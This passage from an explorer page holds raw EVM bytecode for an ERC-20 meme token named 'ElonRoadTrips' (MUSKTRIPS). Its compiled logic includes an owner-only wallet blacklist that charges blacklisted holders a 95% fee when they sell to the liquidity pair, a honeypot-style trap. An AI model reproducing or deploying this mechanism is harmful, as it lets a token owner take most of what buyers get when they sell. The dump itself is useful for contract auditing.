79061307a565b91905055505b60155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611ab557503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611af957611af66064611ae8600d54600f5411611ad557600954611ad9565b600b545b856121c790919063ffffffff16565b61223e90919063ffffffff16565b90505b5f611b033061088a565b905060158054906101000a900460ff16158015611b6c575060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8015611b845750601560169054906101000a900460ff165b8015611b91575060125481115b8015611ba05750600e54600f54115b15611be157611bc2611bbd84611bb884601354612287565b612287565b611ef5565b5f47905066b1a2bc2ec50000811115611bdf57611bde4761215e565b5b505b505b5f811115611ce257611c3b8160025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461229f90919063ffffffff16565b60025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611cd99190612561565b60405180910390a35b611d328260025f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546122fc90919063ffffffff16565b60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611dd5611d8982846122fc90919063ffffffff16565b60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461229f90919063ffffffff16565b60025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611e7884866122fc90919063ffffffff16565b604051611e859190612561565b60405180910390a350505050565b5f838311158290611eda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ed19190612430565b60405180910390fd5b505f8385611ee891906130c1565b9050809150509392505050565b60016015806101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611f2b57611f2a6130f4565b5b604051908082528060200260200182016040528015611f595781602001602082028036833780820191505090505b50905030815f81518110611f7057611f6f613121565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612014573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906120389190612a2a565b8160018151811061204c5761204b613121565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506120b23060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112fc565b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401612114959493929190613205565b5f604051808303815f87803b15801561212b575f80fd5b505af115801561213d573d5f803e3d5ffd5b50505050505f6015806101000a81548160ff02191690831515021790555050565b600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f193505050501580156121c3573d5f803e3d5ffd5b5050565b5f8083036121d7575f9050612238565b5f82846121e49190612835565b90508284826121f3919061328a565b14612233576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161222a9061332a565b60405180910390fd5b809150505b92915050565b5f61227f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612345565b905092915050565b5f8183106122955781612297565b825b905092915050565b5f8082846122ad9190612fdf565b9050838110156122f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122e990613392565b60405180910390fd5b8091505092915050565b5f61233d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611e93565b905092915050565b5f808311829061238b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123829190612430565b60405180910390fd5b505f8385612399919061328a565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156123dd5780820151818401526020810190506123c2565b5f8484015250505050565b5f601f19601f8301169050919050565b5f612402826123a6565b61240c81856123b0565b935061241c8185602086016123c0565b612425816123e8565b840191505092915050565b5f6020820190508181035f83015261244881846123f8565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61247d82612454565b9050919050565b61248d81612473565b8114612497575f80fd5b50565b5f813590506124a881612484565b92915050565b5f819050919050565b6124c0816124ae565b81146124ca575f80fd5b50565b5f813590506124db816124b7565b92915050565b5f80604083850312156124f7576124f6612450565b5b5f6125048582860161249a565b9250506020612515858286016124cd565b9150509250929050565b5f8115159050919050565b6125338161251f565b82525050565b5f60208201905061254c5f83018461252a565b92915050565b61255b816124ae565b82525050565b5f6020820190506125745f830184612552565b92915050565b5f805f6060848603121561259157612590612450565b5b5f61259e8682870161249a565b93505060206125af8682870161249a565b92505060406125c0868287016124cd565b9150509250925092565b5f60ff82169050919050565b6125df816125ca565b82525050565b5f6020820190506125f85f8301846125d6565b92915050565b5f6020828403121561261357612612612450565b5b5f6126208482850161249a565b91505092915050565b61263281612473565b82525050565b5f60208201905061264b5f830184612629565b92915050565b5f806040838503121561266757612666612450565b5b5f6126748582860161249a565b92505060206126858582860161249a565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115612711578086048111156126ed576126ec61268f565b5b60018516156126fc5780820291505b808102905061270a856126bc565b94506126d1565b94509492505050565b5f8261272957600190506127e4565b81612736575f90506127e4565b816001811461274c576002811461275657612785565b60019150506127e4565b60ff8411156127685761276761268f565b5b8360020a91508482111561277f5761277e61268f565b5b506127e4565b5060208310610133831016604e8410600b84101617156127ba5782820a9050838111156127b5576127b461268f565b5b6127e4565b6127c784848460016126c8565b925090508184048111156127de576127dd61268f565b5b81810290505b9392505050565b5f6127f5826124ae565b9150612800836125ca565b925061282d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461271a565b905092915050565b5f61283f826124ae565b915061284a836124ae565b9250828202612858816124ae565b9150828204841483151761286f5761286e61268f565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6128aa6020836123b0565b91506128b582612876565b602082019050919050565b5f6020820190508181035f8301526128d78161289e565b9050919050565b7f496e76616c69642077616c6c65742061646472657373000000000000000000005f82015250565b5f6129126016836123b0565b915061291d826128de565b602082019050919050565b5f6020820190508181035f83015261293f81612906565b9050919050565b7f57616c6c657420697320616c726561647920626c61636b6c69737465640000005f82015250565b5f61297a601d836123b0565b915061298582612946565b602082019050919050565b5f6020820190508181035f8301526129a78161296e565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f6129e26017836123b0565b91506129ed826129ae565b602082019050919050565b5f6020820190508181035f830152612a0f816129d6565b9050919050565b5f81519050612a2481612484565b92915050565b5f60208284031215612a3f57612a3e612450565b5b5f612a4c84828501612a16565b91505092915050565b5f604082019050612a685f830185612629565b612a756020830184612629565b9392505050565b5f819050919050565b5f819050919050565b5f612aa8612aa3612a9e84612a7c565b612a85565b6124ae565b9050919050565b612ab881612a8e565b82525050565b5f60c082019050612ad15f830189612629565b612ade6020830188612552565b612aeb6040830187612aaf565b612af86060830186612aaf565b612b056080830185612629565b612b1260a0830184612552565b979650505050505050565b5f81519050612b2b816124b7565b92915050565b5f805f60608486031215612b4857612b47612450565b5b5f612b5586828701612b1d565b9350506020612b6686828701612b1d565b9250506040612b7786828701612b1d565b9150509250925092565b5f604082019050612b945f830185612629565b612ba16020830184612552565b9392505050565b612bb18161251f565b8114612bbb575f80fd5b50565b5f81519050612bcc81612ba8565b92915050565b5f60208284031215612be757612be6612450565b5b5f612bf484828501612bbe565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612c576024836123b0565b9150612c6282612bfd565b604082019050919050565b5f6020820190508181035f830152612c8481612c4b565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612ce56022836123b0565b9150612cf082612c8b565b604082019050919050565b5f6020820190508181035f830152612d1281612cd9565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612d736025836123b0565b9150612d7e82612d19565b604082019050919050565b5f6020820190508181035f830152612da081612d67565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612e016023836123b0565b9150612e0c82612da7565b604082019050919050565b5f6020820190508181035f830152612e2e81612df5565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f612e8f6029836123b0565b9150612e9a82612e35565b604082019050919050565b5f6020820190508181035f830152612ebc81612e83565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c5f8201527f65642e204f6e6c79206f6e652070757263686173652070657220626c6f636b2060208201527f616c6c6f7765642e000000000000000000000000000000000000000000000000604082015250565b5f612f436048836123b0565b9150612f4e82612ec3565b606082019050919050565b5f6020820190508181035f830152612f7081612f37565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e000000000000005f82015250565b5f612fab6019836123b0565b9150612fb682612f77565b602082019050919050565b5f6020820190508181035f830152612fd881612f9f565b9050919050565b5f612fe9826124ae565b9150612ff4836124ae565b925082820190508082111561300c5761300b61268f565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e0000000000005f82015250565b5f613046601a836123b0565b915061305182613012565b602082019050919050565b5f6020820190508181035f8301526130738161303a565b9050919050565b5f613084826124ae565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036130b6576130b561268f565b5b600182019050919050565b5f6130cb826124ae565b91506130d6836124ae565b92508282039050818111156130ee576130ed61268f565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61318081612473565b82525050565b5f6131918383613177565b60208301905092915050565b5f602082019050919050565b5f6131b38261314e565b6131bd8185613158565b93506131c883613168565b805f5b838110156131f85781516131df8882613186565b97506131ea8361319d565b9250506001810190506131cb565b5085935050505092915050565b5f60a0820190506132185f830188612552565b6132256020830187612aaf565b818103604083015261323781866131a9565b90506132466060830185612629565b6132536080830184612552565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f613294826124ae565b915061329f836124ae565b9250826132af576132ae61325d565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f6133146021836123b0565b915061331f826132ba565b604082019050919050565b5f6020820190508181035f83015261334181613308565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f61337c601b836123b0565b915061338782613348565b602082019050919050565b5f6020820190508181035f8301526133a981613370565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208fcca1141136ef6696f0426d441523e365f84ad7da3192e5cfe2779ae03e9b7064736f6c63430008140033

Deployed Bytecode

0x60806040526004361061012d575f3560e01c8063751039fc116100aa578063a9059cbb1161006e578063a9059cbb146103a6578063bf474bed146103e2578063c876d0b91461040c578063c9567bf914610436578063dd62ed3e1461044c578063ea414b281461048857610134565b8063751039fc146102e85780637d1db4a5146102fe5780638da5cb5b146103285780638f9a55c01461035257806395d89b411461037c57610134565b8063313ce567116100f1578063313ce5671461022e57806344337ea11461025857806351bc3c851461028057806370a0823114610296578063715018a6146102d257610134565b806306fdde0314610138578063095ea7b3146101625780630faee56f1461019e57806318160ddd146101c857806323b872dd146101f257610134565b3661013457005b5f80fd5b348015610143575f80fd5b5061014c6104b0565b6040516101599190612430565b60405180910390f35b34801561016d575f80fd5b50610188600480360381019061018391906124e1565b6104ed565b6040516101959190612539565b60405180910390f35b3480156101a9575f80fd5b506101b261050a565b6040516101bf9190612561565b60405180910390f35b3480156101d3575f80fd5b506101dc610510565b6040516101e99190612561565b60405180910390f35b3480156101fd575f80fd5b506102186004803603810190610213919061257a565b610533565b6040516102259190612539565b60405180910390f35b348015610239575f80fd5b50610242610607565b60405161024f91906125e5565b60405180910390f35b348015610263575f80fd5b5061027e600480360381019061027991906125fe565b61060f565b005b34801561028b575f80fd5b506102946107f2565b005b3480156102a1575f80fd5b506102bc60048036038101906102b791906125fe565b61088a565b6040516102c99190612561565b60405180910390f35b3480156102dd575f80fd5b506102e66108d0565b005b3480156102f3575f80fd5b506102fc610a1e565b005b348015610309575f80fd5b50610312610b66565b60405161031f9190612561565b60405180910390f35b348015610333575f80fd5b5061033c610b6c565b6040516103499190612638565b60405180910390f35b34801561035d575f80fd5b50610366610b93565b6040516103739190612561565b60405180910390f35b348015610387575f80fd5b50610390610b99565b60405161039d9190612430565b60405180910390f35b3480156103b1575f80fd5b506103cc60048036038101906103c791906124e1565b610bd6565b6040516103d99190612539565b60405180910390f35b3480156103ed575f80fd5b506103f6610bf3565b6040516104039190612561565b60405180910390f35b348015610417575f80fd5b50610420610bf9565b60405161042d9190612539565b60405180910390f35b348015610441575f80fd5b5061044a610c0b565b005b348015610457575f80fd5b50610472600480360381019061046d9190612651565b61112d565b60405161047f9190612561565b60405180910390f35b348015610493575f80fd5b506104ae60048036038101906104a991906125fe565b6111af565b005b60606040518060400160405280600981526020017f4d55534b54524950530000000000000000000000000000000000000000000000815250905090565b5f6105006104f96112f5565b84846112fc565b6001905092915050565b60135481565b5f6009600a61051f91906127eb565b6305f5e10061052e9190612835565b905090565b5f61053f8484846114bf565b6105fc8461054b6112f5565b6105f7856040518060600160405280602881526020016133b16028913960035f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6105ae6112f5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611e939092919063ffffffff16565b6112fc565b600190509392505050565b5f6009905090565b6106176112f5565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161069a906128c0565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610711576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161070890612928565b60405180910390fd5b60015f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161561079b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079290612990565b60405180910390fd5b6001805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108336112f5565b73ffffffffffffffffffffffffffffffffffffffff1614610852575f80fd5b5f61085c3061088a565b90505f8111156108705761086f81611ef5565b5b5f4790505f811115610886576108858161215e565b5b5050565b5f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6108d86112f5565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610964576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161095b906128c0565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610a266112f5565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ab2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa9906128c0565b60405180910390fd5b6009600a610ac091906127eb565b6305f5e100610acf9190612835565b6010819055506009600a610ae391906127eb565b6305f5e100610af29190612835565b6011819055505f60075f6101000a81548160ff0219169083151502179055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a610b4091906127eb565b6305f5e100610b4f9190612835565b604051610b5c9190612561565b60405180910390a1565b60105481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60115481565b60606040518060400160405280600d81526020017f456c6f6e526f6164547269707300000000000000000000000000000000000000815250905090565b5f610be9610be26112f5565b84846114bf565b6001905092915050565b60125481565b60075f9054906101000a900460ff1681565b610c136112f5565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c96906128c0565b60405180910390fd5b601560149054906101000a900460ff1615610cef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ce6906129f8565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60145f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610d8b3060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610d7791906127eb565b6305f5e100610d869190612835565b6112fc565b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610df5573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e199190612a2a565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e9f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ec39190612a2a565b6040518363ffffffff1660e01b8152600401610ee0929190612a55565b6020604051808303815f875af1158015610efc573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f209190612a2a565b60155f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610fa73061088a565b5f80610fb1610b6c565b426040518863ffffffff1660e01b8152600401610fd396959493929190612abe565b60606040518083038185885af1158015610fef573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906110149190612b31565b50505060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016110b4929190612b81565b6020604051808303815f875af11580156110d0573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110f49190612bd2565b506001601560166101000a81548160ff0219169083151502179055506001601560146101000a81548160ff021916908315150217905550565b5f60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b6111b76112f5565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611243576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123a906128c0565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036112b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a890612928565b60405180910390fd5b80600760016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361136a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136190612c6d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036113d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113cf90612cfb565b60405180910390fd5b8060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114b29190612561565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361152d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152490612d89565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361159b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159290612e17565b60405180910390fd5b5f81116115dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115d490612ea5565b60405180910390fd5b5f60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168015611680575060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b156116b3576116ac606461169e605f856121c790919063ffffffff16565b61223e90919063ffffffff16565b9050611be3565b6116ef60646116e1600c54600f54116116ce576008546116d2565b600a545b856121c790919063ffffffff16565b61223e90919063ffffffff16565b905060075f9054906101000a900460ff16156118775760145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117af575060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611876574360065f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410611833576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182a90612f59565b60405180910390fd5b4360065f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b5b60155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611920575060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611973575060045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611a2d576010548211156119bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b490612fc1565b60405180910390fd5b601154826119ca8561088a565b6119d49190612fdf565b1115611a15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a0c9061305c565b60405180910390fd5b600f5f815480929190611a279061307a565b91905055505b60155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611ab557503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611af957611af66064611ae8600d54600f5411611ad557600954611ad9565b600b545b856121c790919063ffffffff16565b61223e90919063ffffffff16565b90505b5f611b033061088a565b905060158054906101000a900460ff16158015611b6c575060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8015611b845750601560169054906101000a900460ff165b8015611b91575060125481115b8015611ba05750600e54600f54115b15611be157611bc2611bbd84611bb884601354612287565b612287565b611ef5565b5f47905066b1a2bc2ec50000811115611bdf57611bde4761215e565b5b505b505b5f811115611ce257611c3b8160025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461229f90919063ffffffff16565b60025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611cd99190612561565b60405180910390a35b611d328260025f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546122fc90919063ffffffff16565b60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611dd5611d8982846122fc90919063ffffffff16565b60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461229f90919063ffffffff16565b60025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611e7884866122fc90919063ffffffff16565b604051611e859190612561565b60405180910390a350505050565b5f838311158290611eda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ed19190612430565b60405180910390fd5b505f8385611ee891906130c1565b9050809150509392505050565b60016015806101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611f2b57611f2a6130f4565b5b604051908082528060200260200182016040528015611f595781602001602082028036833780820191505090505b50905030815f81518110611f7057611f6f613121565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612014573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906120389190612a2a565b8160018151811061204c5761204b613121565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506120b23060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112fc565b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401612114959493929190613205565b5f604051808303815f87803b15801561212b575f80fd5b505af115801561213d573d5f803e3d5ffd5b50505050505f6015806101000a81548160ff02191690831515021790555050565b600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f193505050501580156121c3573d5f803e3d5ffd5b5050565b5f8083036121d7575f9050612238565b5f82846121e49190612835565b90508284826121f3919061328a565b14612233576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161222a9061332a565b60405180910390fd5b809150505b92915050565b5f61227f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612345565b905092915050565b5f8183106122955781612297565b825b905092915050565b5f8082846122ad9190612fdf565b9050838110156122f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122e990613392565b60405180910390fd5b8091505092915050565b5f61233d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611e93565b905092915050565b5f808311829061238b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123829190612430565b60405180910390fd5b505f8385612399919061328a565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156123dd5780820151818401526020810190506123c2565b5f8484015250505050565b5f601f19601f8301169050919050565b5f612402826123a6565b61240c81856123b0565b935061241c8185602086016123c0565b612425816123e8565b840191505092915050565b5f6020820190508181035f83015261244881846123f8565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61247d82612454565b9050919050565b61248d81612473565b8114612497575f80fd5b50565b5f813590506124a881612484565b92915050565b5f819050919050565b6124c0816124ae565b81146124ca575f80fd5b50565b5f813590506124db816124b7565b92915050565b5f80604083850312156124f7576124f6612450565b5b5f6125